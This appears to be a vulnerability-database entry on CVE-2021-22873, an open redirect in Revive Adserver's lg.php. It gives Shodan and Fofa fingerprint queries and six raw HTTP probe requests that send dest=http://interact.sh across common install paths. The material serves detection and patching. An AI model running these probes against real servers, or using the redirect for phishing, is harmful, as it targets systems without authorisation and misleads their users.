🔙 목록으로 돌아가기

CVE-2021-22873: Revive Adserver <5.1.0 - Open Redirect

TitleRevive Adserver <5.1.0 - Open Redirect
Authorpudsec
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
RemediationUpgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.71647
CVE IDCVE-2021-22873
CWE IDCWE-601
Shodan Queryhttp.favicon.hash:106844876http.title:"revive adserver"
Fofa Queryicon_hash=106844876title="revive adserver"
Tags cve2021 cve hackerone seclists packetstorm redirect revive revive-adserver vkev vuln

🔍 Vulnerability Description

Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /ads/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /adserve/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /adserver/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /openx/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /revive/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22873.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-22873.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A